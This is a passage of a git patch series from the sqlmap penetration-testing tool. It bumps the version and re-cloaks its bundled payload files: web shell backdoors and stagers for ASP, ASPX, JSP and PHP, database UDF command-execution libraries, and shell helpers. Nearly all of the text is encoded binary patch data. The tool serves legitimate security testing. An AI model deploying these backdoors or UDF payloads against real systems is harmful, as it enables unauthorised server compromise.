"backdoor.asp_")) + >>> openFile(_, "rb", encoding=None).read().startswith(b'<%') + True + >>> os.remove(_) """ content = decloak(filename) diff --git a/lib/core/settings.py b/lib/core/settings.py index de19e2b97..eb2b45ce5 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from lib.core.enums import OS from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.4.8.20" +VERSION = "1.4.8.22" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 226d467f6d0f840642cd13f6e22ab9b4568b9bb4 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 31 Aug 2020 22:06:22 +0200 Subject: [PATCH 14/45] Fixes #4321 --- data/shell/backdoors/backdoor.asp_ | Bin 243 -> 243 bytes data/shell/backdoors/backdoor.aspx_ | Bin 417 -> 417 bytes data/shell/backdoors/backdoor.jsp_ | Bin 359 -> 359 bytes data/shell/backdoors/backdoor.php_ | Bin 469 -> 469 bytes data/shell/stagers/stager.asp_ | Bin 1201 -> 1201 bytes data/shell/stagers/stager.aspx_ | Bin 529 -> 529 bytes data/shell/stagers/stager.jsp_ | Bin 1321 -> 1321 bytes data/shell/stagers/stager.php_ | Bin 379 -> 379 bytes data/udf/mysql/linux/32/lib_mysqludf_sys.so_ | Bin 2512 -> 2512 bytes data/udf/mysql/linux/64/lib_mysqludf_sys.so_ | Bin 3200 -> 3200 bytes .../mysql/windows/32/lib_mysqludf_sys.dll_ | Bin 4549 -> 4549 bytes .../mysql/windows/64/lib_mysqludf_sys.dll_ | Bin 5267 -> 5267 bytes .../linux/32/10/lib_postgresqludf_sys.so_ | Bin 2639 -> 2639 bytes .../linux/32/11/lib_postgresqludf_sys.so_ | Bin 2640 -> 2640 bytes .../linux/32/8.2/lib_postgresqludf_sys.so_ | Bin 2018 -> 2018 bytes .../linux/32/8.3/lib_postgresqludf_sys.so_ | Bin 2016 -> 2016 bytes .../linux/32/8.4/lib_postgresqludf_sys.so_ | Bin 2020 -> 2020 bytes .../linux/32/9.0/lib_postgresqludf_sys.so_ | Bin 2729 -> 2729 bytes .../linux/32/9.1/lib_postgresqludf_sys.so_ | Bin 2652 -> 2652 bytes .../linux/32/9.2/lib_postgresqludf_sys.so_ | Bin 2652 -> 2652 bytes .../linux/32/9.3/lib_postgresqludf_sys.so_ | Bin 2652 -> 2652 bytes .../linux/32/9.4/lib_postgresqludf_sys.so_ | Bin 2652 -> 2652 bytes .../linux/32/9.5/lib_postgresqludf_sys.so_ | Bin 2639 -> 2639 bytes .../linux/32/9.6/lib_postgresqludf_sys.so_ | Bin 2640 -> 2640 bytes .../linux/64/10/lib_postgresqludf_sys.so_ | Bin 2632 -> 2632 bytes .../linux/64/11/lib_postgresqludf_sys.so_ | Bin 2633 -> 2633 bytes .../linux/64/8.2/lib_postgresqludf_sys.so_ | Bin 2561 -> 2561 bytes .../linux/64/8.3/lib_postgresqludf_sys.so_ | Bin 2562 -> 2562 bytes .../linux/64/8.4/lib_postgresqludf_sys.so_ | Bin 2563 -> 2563 bytes .../linux/64/9.0/lib_postgresqludf_sys.so_ | Bin 2633 -> 2633 bytes .../linux/64/9.1/lib_postgresqludf_sys.so_ | Bin 2693 -> 2693 bytes .../linux/64/9.2/lib_postgresqludf_sys.so_ | Bin 2693 -> 2693 bytes .../linux/64/9.3/lib_postgresqludf_sys.so_ | Bin 2693 -> 2693 bytes .../linux/64/9.4/lib_postgresqludf_sys.so_ | Bin 2693 -> 2693 bytes .../linux/64/9.5/lib_postgresqludf_sys.so_ | Bin 2633 -> 2633 bytes .../linux/64/9.6/lib_postgresqludf_sys.so_ | Bin 2632 -> 2632 bytes .../windows/32/8.2/lib_postgresqludf_sys.dll_ | Bin 4755 -> 4755 bytes .../windows/32/8.3/lib_postgresqludf_sys.dll_ | Bin 4766 -> 4766 bytes .../windows/32/8.4/lib_postgresqludf_sys.dll_ | Bin 4773 -> 4773 bytes .../windows/32/9.0/lib_postgresqludf_sys.dll_ | Bin 4231 -> 4231 bytes extra/cloak/cloak.py | 2 +- extra/icmpsh/icmpsh.exe_ | Bin 7009 -> 7009 bytes extra/runcmd/runcmd.exe_ | Bin 37206 -> 37206 bytes .../windows/shellcodeexec.x32.exe_ | Bin 2758 -> 2758 bytes extra/shutils/recloak.sh | 10 ++++------ lib/core/common.py | 4 ++++ lib/core/settings.py | 2 +- 47 files changed, 10 insertions(+), 8 deletions(-) diff --git a/data/shell/backdoors/backdoor.asp_ b/data/shell/backdoors/backdoor.asp_ index 248f4cf5fc9bc6488a556c3d16dcb2189802b969..6480be499fb2c63562732716e06552e77b2edb45 100644 GIT binary patch literal 243 zcmV%)8ELt7^z%)bhM|wq7x8=iKfQ*Qp0_H5C$(~iFWOmD^Ld*M0RVc?jVZ9 zX_l#R(IJQ}m*OpKjOsN93l2cexle08djxUCM~nfDyP#p1rSztk3=DPVPGDfFmqZ@f zWGA(>3tvI;#gskVO1&-WN?|-lA{! zv}0Fk!QR1NK+nNg3(nIkLw)=5?QhIdJbIX_rnfXwf%p~o^FiBRBIt9g?D6~gt<;&_ tT*|dxV@-u$4W1@IM~0t~O{g|CzSWmHY^an+SdCItH!@E!*EQxGHP->Nd4m7| literal 243 zcmV$+u-Gd9Igjp9JG!6q8u@Wftl;ZR>US}cm@R~iFwSHBX24uKyfgzh9IDZ zX_<&{*&d}6ljU}Ht42n#O!CSXeFmrFm` zY#5k|4_F%OuCh#=n^fEjd17`^+*TM-jN*mX_O5RWSd$31ze)f-_(aw+-WY6U)}2Dh zuw)E#sov`yK)~Qx1M&V9M|z;>g>U8%JaxINu80|Ih5t_Nn?dm%BIi=7t)Tz zNOAdH*j%i39q=Ee{o2UlR4Jzmm{Jj|gF9Nz3q11FG1(*#j0M-iOal?}KS4wazI=K{8wddD=o!haf9ts1 zWR>c}(ffRht#P06?=TzhD)s@vlM4mYz2Dy%2XYp=lHRy}HT5tXq z{O_+jozww5qrReMNWhh|lOL;*p4kgdXYSLL@Uf7C-@Oc$FTnc&1+8gSli8RChwhEN zce@R8y!Uwa&^YxN`krF+dm#rqBeTFurS*X{jeyV=U&F328M<5|Ar8wbOxu zEYiixlfI61sX6N61s`OTLD$FNGes{Fj0*O{L_9pqJ4PQ6)_hO|8wVli;3njgd+g)J z43)rv(ez!4rB1TX>o-94LiQ_zlLREvwb??Bm&C{EmZ_YzmG4If(GH=vW z{NRo{mFp}5r@8rjAi%%zlMsrKmgXjKW9f*Gn6bLS-?A;2C;!$z0je@j``NNYhvBTe ze}o`RxbP$FxH#Wh`jJER>`^|LV;Kf{V1E2>+%ko&KvSld(|yfW>e=Y=efx#-uegl{ zY1g6}7@nOc__Sm}3~V;OC5YmUD@sa0`t>Gb)t$W{4_JB;)!anr!W?jJ{xt9@?K3%E LDbS901r(l=zvR~T diff --git a/data/shell/backdoors/backdoor.jsp_ b/data/shell/backdoors/backdoor.jsp_ index 59c0e1c02466ce0842b657833959bb5450445fb2..0702a8098d03566dab4961ea87f0f6e2c9d4611e 100644 GIT binary patch literal 359 zcmV-t0hst_g&KsB?Fp8uV{UEGoXI_GP7M@^?Q3lO@|f6I9=T^6~>0@%c;)Q0KzHubg4) z;ybTDIKh{GB#t>{N+sg#4--NPGr)2^XfT?W_2NJc0kDH=}J5}WJKPg^MwIQ8aetM;eTFH`iAEN zrg5$S9L%o4&I>xrGF;OSUagmOw7^q9g3P5_S2j+8g7FR&2cu<;fK!i^JS_5h(i=MX z8&AYxC+2IkI4aXmmf!WiGjKO-@iGM}62otW$e@sWve%J}{#gJl3^?q-!&iybP?`1w{O*h~a_=xO>GyPb(OA3DDn`%-9^Zk~t^7!@ zT~bTN-8NagoL*R0K(^htRWf239EPda?F-l_`ws!Xk`4#&Sq3;LAekwh$&TAKjy#IcFhRgmyKQ?5;g8nZQ51dG|gjCdzR4mvy(i9u{ z6L9HYBjGTvP%8NimeAC`J5L%?^)+5Fdc#G>$gi<_y6C*J`d(W$WH`ox!&Q=jcx9f8 Fy;tn_v^M|% diff --git a/data/shell/backdoors/backdoor.php_ b/data/shell/backdoors/backdoor.php_ index 4ee285e106a857be15c3b6aca2fe656f69e16457..6c4b4d990e73b50c4f67d6ceb5a31a723fe5801b 100644 GIT binary patch literal 469 zcmV;`0V@7A)7KO{+3{R|&1jv5X_e(M#Qd%` zQURVG%3iQRnOUEg=gjv;I-^3UaK!k|YL}3ndnY6mh)P^-z49!P48KO%RM|G+;%-Rs zM!Ns04Ry7_cFwzeRgzIq$W$U?!(T5(`194OxVJQ+c3o4o2x&ub5;y}CT9^%c%z%Sp z^^I885u6|lK{*LVM%HRC7~ zrecY+rbX3pBV_9jP52`vqtOVbZMdDI$`r0hp?Y@&BUa%cX~F3>&1%8uWEN26s}fx& zr@F%)#|l;bHl0u}u)Yw-B2p9Yi0p=Lj%-3+Ie_=t^;DqXtBl8(y@SOQ>L4%znY$?J zQ$BdSI2?iOY}tqm`%64DF_fJ<_n$RlCs3c`=9o|=s2{H|N-Ri_i#Zts=yww*RBEi4 zm^8#I+M+KrOk1`?LxU*d-g*v>s!Y_Z)5$N06hZv68%Laku+!Y5(HEbKtR|L!{~b-x z%EyEOEztZcq_nah1SdZk{MLv#=xl$)@Qi%(=qRUR_^;WZhZ$H+FVoto(#` zQVzc#!eO0%onFL^kIdZ!I;>-C4xZjj4_6DJNfYYl`ifb7}QGnf;^;?1AqqFL!xrCkxf*=||nY0P( zTLD#qJR92f1lgia`$QczIjgV*^O$aUPf)d?=9h6Kpdf+{PAe0N<2f@y=y)vZ4iXOjMUbOS}c#+I>}&!c6||)5Z>o9DdP_A3(>R*wgmm(HOppq#3(G`x+L? zqQ|a7E#KWLtc#x^03c)ol-8mEqr?T-CfAuG=OIiTCmuYN<}WP}jj#E7+=H>lvIdM( L%G!WaAiQ*9YU$^; diff --git a/data/shell/stagers/stager.asp_ b/data/shell/stagers/stager.asp_ index a2f45388165f29ff748c4d7fd46b6334e1ee2bc7..556085c2bf2fcdda28f7734cc8648cef07f597f0 100644 GIT binary patch literal 1201 zcmV;i1Wx-k)9(?iIfztyPJO37_+;z}N&qM(p*n3jGPhT0k_(R`5ESflXRpWmfz65! z&COggYwJ}r;nxCn5zRhIz~A0Hu=X=<^t!H8#mvF0A#phFMH5eeJw^{~m1El)wy5$o8scgD*a``W&o&H!yxl(OFexvHi4 z0$FAc*c&uA&;}85`1n9&GBsJeDm!|LE0%}l#^g3V$)h?Qj!{g5CT@*M7c-y&wO`sz zlW)kp?y1b5?zye**GbCSqr{SB#$ydrH6>`H>p&dY)1I$PJuM2stdbLU%|9GCGeuctdt0jPG2chujJ7JN2R}6C+ub70iZ-=kh)} zb(k8AT*LD9SGOmWN$6|c9Mq)@i;67WJeik(GuGM-%L&$_?$LqNnhze=J=;7c5#my- z(6LAc4fM3X{)qSrMeJmZ$@>Jn2~>&%uxw+?DYE|nZIqk-;OL;jKExNwoGk}QCAt90 z0CLAh!jEs-7p$q!-E9kvz+KX?BuXQd`;XQa7ZRgh)9F%9WPo|PzLj|~kb^B(PYzWp zW>V$H#4^vmGiLN0VB3MCtdBkIr-P2=^&N;a?xi}uVH2=i_YqP_g^4)zy}P~65SKrC zbzym^Goes6x&uYD@l4))!lX>o8qz-9vtAdNC*%3#3%8 zKUq0gDSL;JX@x{3yC z6@9oQd8@g}NeO#z(!`>XyeDWE1Z%PUba-4=bi!6gkVH3ft{YNoIK@BS*}02OL^HwzQ~~Q-u@KvZ*_1`sIh_<9{CH&o0T2%XXFZ_*+U15 z9JRtU6Aog_zoeg%G=Q@cM$rDnM@JFH3Xe}zrBiOm(R79gW^@Akf>eaCe9`uWa3+^M z>CoAd3oo0#ORgjz`2lNKPVwXj>PeJ9Emmo&IhHXJjKc++5P6Cfpd PC%%19D)px~2Hj3_-oAwLO%rCK=` z&BA>%W7K#J<EsT_g33)A! z8Et^UN@Nen20l<7-Pxh3FH{!4>7KrhA^eMFh?HXmuq^l8{Q6o)-9k_iDp0#Bw*R8PxTQbHR`RliHNt&JRpgoQ?87y{-P^ zYFSK8*c25u*f~5*{Qnz&S~YY2Dl}V*BdMy}!sBfxp`#FAj$UnoE>WO&6Eyo6-Cytz zlVIt+=9b~1>b~~$ze(Vjqsy~o&RigEF(Na$gFrT$(~*u%H4-Q4p)4OqxNexrVbV21 zfhTdsD++s1iE3uf>r^5!N=RinHa*lP5JOyHjNpBvkK-iJKl1r7dn0q#6~m{9@68hg zai2k!G{e}pSGWe1LDxp(7}Ne1tZe-eot)8=zeY`;{5x{@L*_=5)(PXTl) zZf(f(Xi*t2x=mF!&UtYfCav%aBqp(hvZcgD`h2-ArF=at;M152FvX zS6LGpD=U>^y+ag>zzO%5P+y2OanyeLT)3{;%LaDN9(9Kw7BkV_VGrX)|($%{(}KU+7(u{}Rr z-*jL@{}&F2F`-2J4j#b+FTA7YD%k2Ove_F z<=oxo_MvCXoHN8tQIQgaPkw@2*2s#p-tjf?XG&dethU(=cKIQTo0>fHZ`&uG-9%iG zbhYSq69GfYx0|x8Fo);~F3{A6M@TTo0D)(2RI&A1MiibaB#^+>I+d3&fBlKdqv9(foCK*d|l)iCf-`DpC|J-MfHS*{XO!q5J7 zbW~H!_p}!;^&{2_7B{?@q>>Ae0!yk#k#nk7Z_ZWO>PO}|(bx&a%16r9qNgFq1&G5& zP?*v-C64FBF9wbog`SXzlrM2JI1729Pr6O668Ts)`MWTOD%I4)lo+eG_ifqrSWNYc z<_Vips^`{ob<|?rCi?MP1=Y1Q*c4K0UP-ofODq9x(IhlVi7vCQNCZ_ln_?CGo(1=Q zfwg926?Zs1pLZymoBYhRlc&j&fL#;7`xXl5wZD3;br|O;lQZK>UK|c7X`Il)<-y^``64nM{0%mm_Q%TuG;oN#3l$pfW|)bo8F13+%8QOZUod;!0l1)dL* zOkr^Ivzjq|v!&LU^LFF%e`$6$$jO#d>tk*=hU9lgB&|D4?W_8G9d3KBIa~Kjj1NT3 zeBhjqMKvyWDD%HZQ_z)Tck5y*)#diW8>|o{tcS}0AoDy1_jQulzyxQ;N>itIXzd(~ zY=G)a2{(xBG&T&FZDC!6caNVWo8K`IbD(-cU%Ps#CWAv*7qSMzaQsSs< zM|-&LXmH`B`e}Z$)fhchlr-c!SfRVhiidip*hO9rTPHDGe2x?W+q>rpH$V&PZDnDr z>sfv+x>yF;1V{Q=wd8kVK>h8Q&-4e7PUT zt}!#*+TX9PoYR%hs5kgO=ZD~_HX-#@cs`P%FI zW1gB|`}0a48z&g~)zb9AQq=?3J5RVrM8BS0oX_Y(+fK+)>rdwTRI77gr~ZG?&;4he T{5~_nx_}pKMqnm1MGhbBEinz( literal 529 zcmV+s0`C1Z+u%PEJ+}vCB#hk7#w}AF@Ws~oTXz~I8{t^=UPLF>+kt5jLAHc!T>+1Q z>agbAG5&O;xs|B`WhU->FERq&->8zn)b#77YIaJn4gfMCI zc<0BJEj0u+DEyvATkp7CbL=@Vz2)418>2BLq`2ljB=lz-pLMvKzzaslLTrjjZ0bjr z1cwJ7WlSFr;m36Q`iBGfrg3NqDCH>%c;blG9j`p$LhfJ9%Oc(qYs-c`rqqlvI^u#U zM|7F*U{B1O{%$3xy%-l4lsm;bP@b0bj({P&utjuCTPP4+bg?-<-@LpNUqB(LZE8TO z<7QJ6zF%F#Y)8-=wd+=mM$(EfpoVj@G`IIGXkeIm7Y26o>bgIu5SbLc)AO%!T@E~> zZ=h*1HmoYk^m4}rCmbnJ2ZUW1U4FMDBS}j%u*EO@M0*rmKth-A>Trz}5#S2lc)mp4 z#xWV5+R%=#l6>&;C`C&+3t%p zbDg}R(t}Y7UrvFVFqq=U!TNOmd||pJum#5XetQxXYP!4ehbURQZlP5bfmW^+C7Npr zv3;=U+=GQsum-my6wCAWH$X|y1^zPJa?B>R`P^Nk zRMGsY+FQD_z+JvVC`gZQche7cKjN7f6*oSx9&%LGPKN~70&*vs(|10AU9p^5St!)= zMif8oE17dzIoR$rIQ_Vtcc<~Yry?6#T>@FVIxh6B!JBg@ndTca#7o+|0v*pk^~;i6mVC_!aNhr+K&-7liOxsUu*isP zYd!AYtdByw&FSjnH{`4i(M*m;5b%U388!ywleYU~NUfT(_(SoHpk@`WYUhRH(}Djc z0skIsH2#n*W}}LgNn6za{8WTLifR(bo`Q&FN>Vo=&{x%~+Fm8|Ja++cz6h+rchdRC zc~gHUv1fa=8_3k6CN4-=K_>1gs@E8JBJfpbSL_Savlrvzq%F*j(bF~WyuyaRbfo`2 z(e?&PFWcRV7$nY6S{=nlv&6nSb*)58l6DC498L#n(7N-o4VOvv5GPk9p=0|W1%82@EU4c}@kSkB6?#{>7Agmb@4hFrgssQ5IFCy9;X2rM=?ZUa( zHK62~bL+5`US<8vmKI67V<`x76griyxvJ!BQ)!Fhk6!ZZA^TT5sn6fy&t1^!69BFl zxs`}{`~kHMIp-<@2ks8|69_y3egk#+pN1d7XujNMQ@F1rHG&*n=-#gtPTqA}Ru}v5 z@u4VQ_SZ{>`vPgY7+yLZe9G#e8O0VCJ`L)PdF9|?Du@)ca0t4#BE-@v{>GBZvdt1e7#K!=X{tGbACA)sx-H`YY0Xz|IDe|)R$$P_G zhu4HZDBb774nfwnvzh6-wf{d*n+*<;jm_aOl|qJQ-B>>qt#AI%(O!9jbbI*}Ny+BJ z9*Jmyf;so|=!!Z7qRu>*w>m-EcSnZzMk|Cp@J3kF>N1ioL2eixD%rplcgTstwg?M2 zN}0+Wzqp$84=noH3Y#zrPvJB@E4Usp&7HMj32yZ!4U9;;ya$FJV{cCMi2wfyV;Bty zA9F0LD^3>f6WMZN)xN76P$S`05EK8D@(MQVzr`qlvZT#Zi`Jj_q>tcN!mK_&l=*4e f*d!hUR1lYNiek=~jeSC6!7G zxk8hmwph8!GgC{c$$|l60`!|!ov0m71CI;%T#>y_{p-%)YRE4AxH*~~5X`9TUqEA$1@RNzdh-j5{o4k< zJki$c+Ekme$YPUxEKk&RAJZi?Kkc{~9S9SS8g&oPCWkJS0(}OX+ej0>S+>VRF)04A zMjIaNBc@(tJ>Ru1Q2mnMcc{?1uN^jISp@>2QZC-_!IV-ak=4Mvk}2~37)r-WbiA$% z)xe4e2b7Xtvq#$)MQfR)5$t{!!#Z{+pTqIf=>~*vBH3~yYgTevDl=M%OcLX+^$rE zIFd_o#n#8&GvoIZxlE)45dWnq5eX~Wm$9IEAg!?Q_)O4@s989WZs6YeyMfhY z0q{Rl5EnuXJUB2pb=&{*`U(qRbAIB;5P)(D1!ciq^= zacoi(~jU-r*SYV_Ax_3|q*ayFSbe*yyN}&Fa@rvbVHCvXL_D-d+i9VOJ03Lh3!v(5- zfw*(|u^B$*3OvXADmH%Bf$}=EdsO6W%=j&;`V4E;O}kW?-JjVJ2?IP(E%oW_p?m2b zhuEb)AmYmX3Pz2u+nK}oweTKMlQJW(iORYv{X(oH-B%tJrBKuH)mb8$9DCDNNyf** z7PdvdhCZz6fQk@CqQM=OzXfdMb3ongE-S8o@JV^q;tjtOMQK9>LfPt9cgLv1zBeWY zPM(nl*SN5@4XCGD* zcXI~mD?vB!8|GhJ(Yf#eI3vp!5FFl>`ZXKXyTWsu+N9?Zi`l;Rtgy{##;au|{P{ze f*eZFsz=A#1$h$$&cAazMi^$^cKjM*C*+*w7$AFq! diff --git a/data/shell/stagers/stager.php_ b/data/shell/stagers/stager.php_ index 844eb9c27c5605aa0b312806bd3b8bb5fe0b6710..8093fad03dc22511c1aa29a35f5995516f5717be 100644 GIT binary patch literal 379 zcmV->0fhcF)5p}FJ?JcV_nfX{FLBln{MdsL|G%U|S?}=A@^XXmL{)me%MCyY&bSx( zV!Ha3Gr2#$EA)%f9;wP0{cIyjTgag)euu2xFWhzW##Yv7V;+_!g9&$fU%$!Hw{nvih5D|sZsw1k@i}xk?`9?|Sjk=o)D-ob7d>@>y@9ctE zem{vEd6RXV@@Sq1%qQ+77eEYm5y4DB&%e}Bc&j-$t39+|yJ{N#*0-6hDQ*Ii84F=Wu1?a7+mW>ZMD&?$j&CPYXT!qlH8Z<8xDEkmQi00;l ZG$EyKM!~Z?V3}zlg&PRHfPJod+qp`GyHx-H literal 379 zcmV->0fhcE+xYpQIq!FEpPYmtFMjt9^yjWG`?&vEG4I-q@_nN4Olntv&k7q8rno)3 zVzt|pJBAW~FZ0mIcB$Z6{bK@4Q}>J)dVu%GN8Der###4iYazQBhYl=YH^1YMw|W^6 z^|uJXD)F|#9p*ED5IvRNheRanP9 zH}E84y}+(oSSVkceU5o|83aH?rg8tW-rcG22}H)X>@nGRXUBu))nNGSvQ;JhMlG@rHn>>=pOSPuSb~eGax?`|DD*KpfZ5Bv ZFed(VF2R|3V3tTAjU*+5gnIR0v$^zyz2yJ^ diff --git a/data/udf/mysql/linux/32/lib_mysqludf_sys.so_ b/data/udf/mysql/linux/32/lib_mysqludf_sys.so_ index 51af4d2bcdd57a4599838c5fa0adc5af936e7069..2dd96d96a5385bdeab2f6063f51fad012eaa5eac 100644 GIT binary patch literal 2512 zcmV;>2`~0F)3+WBIyt+3jx|T{dU~Ph?pG~)*`=Ec$|^wg@nU`_ft-Z+3L#kyPrl!^uspIJR5lkSXn;W0lpUd2E(> z$3nd{i7BshMD)f9Pn!AJy?r&>}>=};cts|3z|(O`JXU{m)d%3OhPdw z<0|KeGgOs=6RZ!_x{^WZ(yxHEmv{T}==zJ&yhjxB#M49WzWdcfC>Iocm^( zQ^R#ZuDOeMGz8uA2jYrr6wgvJLz7hW%NrRe^gDnoMx*%sycN~g#t*(@h`39#rOA|^ zl9%hWc^r00OhGi5lqFn>tC_9b`<$i6;7zcm0Hq`!>WS&qPTyjeg^24hD%5-n zihKoX=0T8NiLlkM1%VSA*t-zX@r}&Rxb$uqf6CTO=Z$2 zi&}~--kg(LspqDU++U^^2CgcuJynm2{*`U1#?YlL`i)MqGMJfFs}acLqOW_&QKabI zaUZJ=8knDt{wG)L%T0d)q7N(%#hzy(4?`n0q3tM#YIaWzD_f&1rE>oB8qbU@88$|Z z<)pw=6fZ~m(v<7-$FIko_G5|(=FU3w1aG~@%%mk&p?Qg%f&N_UH|ivelpDEB9)bq> ze#7NE&ripx`kK)yra>&!I=KdU!S61!2bvKorr|AAFusxyEHoJ&gDF{*Eh>{3y1pNz z$g6wO9wbMJ0IG9M$ZCmyfX*vPLOh!u{zLB*8Pt|;AQ=#+PLK%?f7X7dmr zy!>uB)omv58QDvSgYcbOIIY}e2=Y=NF+}Um3i-H61->XpA*?u0&lhr2CB^cw^pqqo zKl9-zq*QBcKJ!Hl1u{^3pjL3xKLO-x|HTjfaR*0x|JQ+d64`H&E;itOQ+zl=tFFT} zdWY!*1WqzG6!_k4Xk^}W)Hm>N^bK|Hf`mJk!SOF1IZ4JHS}`H&-~__P!tNsHJEfA5L21+m8= zl%1sXA-vH{s-?6@i$Tv$AC^d(?o&?w3+Y01A>GR!c^G7#DKP=3ZFEV~n$I>5Ko10v zFfoC63={c`h9hs2mMvo$=^w(RFc8mCS@t!#claaYhIwEMb;@(Ra7ejkBpTdul0*i> z6S46EZQT!#S7xFoX}D_qQfFTbL2gGS-tkP|7{@DD+4Vsn3zDX(<8*+~H4dzokgz6E z_40_hwxsqFGQ3B#1^epGGMsIxj#7=w#vsM?Aahs781)81wQkb>5$X0ivOcZ!0w4;GI#pQrqwsQ8|)VjFr>beg-{*MmLtB#UznRw*8;yNY#^- z$}Y{|mx|aLhxB-jG6tsfDc|W-ny7$^!M`nW*6tVeKctq&W{JF*lXW+cHR8g;c^U~f zqa5F{iGKxVEP%q4c?q(G6bi3cZ-gy-c$MmQGh=yMap)A)05V$k5whd)Rtdr!Y`?=0 ztZwwG>@Zl$Gmb5>)WaqccEt|f$OMQs>;k=&Ti!B);4N?fan5%a9up zM0F_kNzVWSaz^awaqSw3`r&68=ai6bF6v2ki}dTO>aeJzkYbS$@bkE{yb$AqQQC#8 z+gao}3!$pYyhDSXo`+(_x?@Gux=dPd%lJv8yT>xp}jFMO>m0a4>#7Z_uVv~Ab zSo4GC=n&!b7*we6QyRa3v4W|S@wIY>4c#yEkue@w#%~L zu+gb?4Nu0q>x8X@f2Go2F|mcFpTXM;`&pT6?9zv9QMJ>YBu6}i@ue-!|GC^YwZu_s ztI}9zqNi@W1tocqP4|h9`5>rNv&jW(itZ@(?-&g%D ztXS9)55=DVj55bWo3U~HGwF>QdF#2&RkK%=&Q7jvFUc&vS$P{@tfazDT+s^Y>_rU2 z`;>T`*47L_ZeSq6obI@w67c8n>cM9&>C~ECjci^lfmJx6-P1or;2Wr`uj zS`)CX{*{ym%j>^5bmbxbjFQoRMt)^IZk4=qh2r6mM|XpyI8t32fc?Ia0?pAyKE zGM3}CHa!~k4}=sWZa4Cj=!;}8sSqZ!#JGQfa{d?xZ3J2hAjDw3N9u_!{O;tsjK7JB3 zqY%Qfr>n7c*fdY5z8(!xtVe52`~0K`G_nPTRXUH&>3=}EDF}<#AqL4xTmeX!*_g!25ectE+pK_{(5~Ju3Dll z2_?&0+JfXH_b9+M*B}Bk{FassesH0_oqRgYgf*rwzm`}dE5`7!1)r$*9tS1rT%YEIR*pkyKC60qRURdW}0rb##x%LNvh|)7;cqo znQn+>-&xpvZp-u#E}0G43NLi;4Tl{=7iYO|jc*57zeBzxUFte2)1U&L_SkuO5^e-^ zwOWvf8EdDTa;^-=l0T42d@)ZaDUoEc%8L<} zdHhFM&%20aYAEQUQIh>+KJZ{GB9T|-l{YMTqD%K9Y@EvE-51uym?Mia-pD+?kM^d9 z^OfkPCon@88Zkqcz8Y?m%A2mvrLd5ewmrwGDw-Asi;L>V5c5~Y)A*b|0P9XV(3P68 z)KD-xurcRRqmSpQWP=b1hL{DV%I2h^X^ zTOgSidzze`pbKKXojnK+h%g=(q?}|hQEwJx_nlveKuLWRN?D*j`(DeUOuzdhGYNE* zgr>trN&|AMgyfw3?U40^mtlz;xZ)3`QXk66=9?E!znLn_m(52%u$3rj1WR){0m!Da@Eu|wf$Kx(WZjz@#dPHs!sTOOEOel~FxHufR zM#LK+``^m4I6xWWaT9u$AesJ39z=bkhUA(}-evi;Yx<_k&nn(`wzxth7SoZQOw1xV z-TrMVi$N2iPpLeIsn4%MS+C!BR^De$XEdC_AjXPNWV|a?e}D}hnP&xD5Bk8Um6j(x zVc*nw@+2H%6wG%NWH3`{{(41%X>pTe)%rc>5CueOq5HHcM5!2_1PRh)GJZQy^@8?f zEcc!ZE^z=ab^6_ZHc0Cwf=7p7-ZDq`0oD^=9QEC+%XVxtg`{Wew0gyuz!26U70m|3*z|)7#e4ccO5kLI|M%5u;x|Q;VI!7^7dX?@*4}m<;fxb^{>EGRibt)NIl0PsPJ)-OPd z1i(iJpL1N_8@1xPCk_)L#Pa~wlRVOGn12EXKPOpOY9MfSzFb6`Q2q2aCUo%~=A$W0JMaQzbht z!XDhC*HbVzdhoTIQ#OE{bqK6VF{l_SF6Eth8C*+35b77lULJ3!N5Yi;d^Yd}4ZXku z@vx849n?|zT9G*4uS3)jQOM8mAo!M z5(QuRWAHK>6GZR(FTpR^tdS5F&8wnxPv}Zy)!5$pyujbAx?Q6Pk@35s;yl*U2deU< z@n+T_YNM&x;%~Oh$oCb=kbkusW;3j<XTkERwf^Z6np>KFvi`C?2gRh54tNfokf$!(p_S=p`uNA-!OEs!nkNJQ@ZzRz3s2$1}NnUffDK$_pgoE!K z@^tM$S+(d7rVaI7`m=KGZN<1tFPqN7e~e{~uS~6fapf8B4+(5ghMVwLJ<|#MvS~Sz zt>h1r{OLYf4`L(J!orR5M1YY0!2V8AE&+HN-9`3dZ220?G)!JkO$M}!szF7>;i9M- zh|2=URp&R=_5z#b)Z?%pLW4;}Q^!e$5QnXBu#CZj;CH)pkNb|`aKLFDQih4WPqh=@ zI}x+Lpt+$|otwxvUfL7q?U2%K7*bGdIOWTHuiev$CUt5U9>GAT{PEz$}DlL;0tXa9R$W^B-@e}ft1{wMS$`q;c zSSbH+JDID(>LP!i;DxiSx!Zx}UX3H_`?axZJQdFQ&QG4>+*C1`wnk1of2e1a?TqZC zOugA6>X-nhBeP|^S+a`f#maZj5*uhOR?h5XtAw$}45@2nGN|v>^$^ffyHtLOwJrLJ zQPSS>n{Rm z=vLrS55E}FNQa5P7t{9wCotc=&{gp%SC(O;uiGa~1H~~Jdm_v^X@^9grmO~tjdQdI zq~EpRx%pn+*K)@O^XybI^z0p>{?L!$GCw@M232Crpv3bn^dtGkstmEmdP4q{>ld%4GcE5A<&Gin^G3yGKRxiO+i#7JOt zG!g=iKc%9w?!G6}$cVJisAsXS%>i!w3tm_9puK7>XGdzqvmlOGbUt(R{!_laaNEnq zBAK;|ShvAwS9!n3N9(!wx$l%U^D1U=IC+HIo<2cV*lP zrEZeU2%yX~%Vj~zceTG&2(qJo6RAK{jGnky(^e_F(tYr+>Sm9s4MaeQdMg7_)j^SG z64h4$%(hn(%4QWu_#{(8>zedzG;`2+#w}ob-Ul1w#DXqMtBW#B$eaBOU3=rue;qr;1vL}-2qz}WWs_;0CiqrMj$ z?lTI;-67$LRYeGHiPJ%L75#cs5@d6&I^5k%AKLDc;Vv=F`8 zU8QP>?LghP&?q`J?^m)G;#wFNS zfbD+t5WQw5Oqr(ws}VoV09I*-OYC%WyICZAu!>*DnjJL6^i=CYTGty7F?`nU53YMK z&FZQU-gX$$)xm&RZNt&b7VViEzpYJ{-9YX!PBkz2O9qygn_w?i3_gnOXc}JS1^jew}s#8a@hKd13@5zvO>8&1;(HlaugUCE&>6t`ch?(PK 